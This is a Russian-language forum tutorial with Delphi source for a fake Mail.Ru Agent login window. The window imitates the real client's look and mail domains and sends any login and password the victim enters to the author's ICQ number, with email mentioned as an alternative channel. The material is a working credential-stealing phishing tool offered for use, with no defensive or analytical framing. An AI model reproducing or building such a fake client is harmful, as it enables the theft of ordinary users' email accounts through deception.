В этой теме я приведу пример написания фэйка для майл агента. Суть заключается в том что программа вписанный логин и пароль будет присылать вам на icq(так же есть пример где лог и пасс посылается на почту).
Для этого фэйка нужен компонент TIcqClient и знание интерфейса Delphi. Для начала нужно создать форму и расположить на неё Panel и в Properties найти Align и сделать alClient, затем Form1 в Properties выбрать Autosize значение True и BiDiMode значение bdRightToLeftNoAlign.
Далее переходим к компонентам. Из начально вы должны были установить компонент TICQCLIENT в нете его найти проще всего. И так на форму кидаем Panel из вкладки Standart где Caption нужно удалить, затем размещаем два Еdit'та из вкладки Standart и в Properties убираем TEXT, потом остаётся добавить сам компонент TIcqClient во вкладке Samples, и два Leble из вкладки Standart и в Properties один Lable называем логин второй называем пароль. Так же нам понадобиться компонент ComboExItems из вкладки Win32( туда добовляем 4 items"а это делается в objectTreeeView там есть add item и добавляем итемзы @mail.ru @bk.ru @inbox.ru @list.ru)и кнопку с надписью подключиться, напоследок добавим компонент Image и загрузим в него картинку (как обычно белым цветом на синем фоне @MailAgent v 5.7) вот вроде и всё дальше переходим к коду!
Code
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ExtCtrls, ICQClient, ActnList;
type
TForm1 = class(TForm)
Panel1: TPanel;
ComboBoxEx1: TComboBoxEx;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
RadioButton1: TRadioButton;
Image1: TImage;
Button1: TButton;
Button2: TButton;
ICQClient1: TICQClient;
procedure Button1Click(Sender: TObject);
procedure ICQClientLogin(Sender: TObject);//нужно написать это самому
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ICQClient1.UIN := StrToInt('UIN') ; {UIN с которого будет отправляться это может быть ваш левый уин специально зарегистрированный для этого}
ICQClient1.Password :='ПАРОЛЬ'; {его пароль}
end;
procedure TForm1.ICQClientLogin(Sender: TObject); {при подключении}
begin
ICQClient1.SendMessage(123456789,Edit1.text + ComboBoxEx1.text + '::' + Edit2.text); {посылаем данные
где 123456789 это уин на который будут отправляться данные то есть ваш рабочий уин}
end;
end.
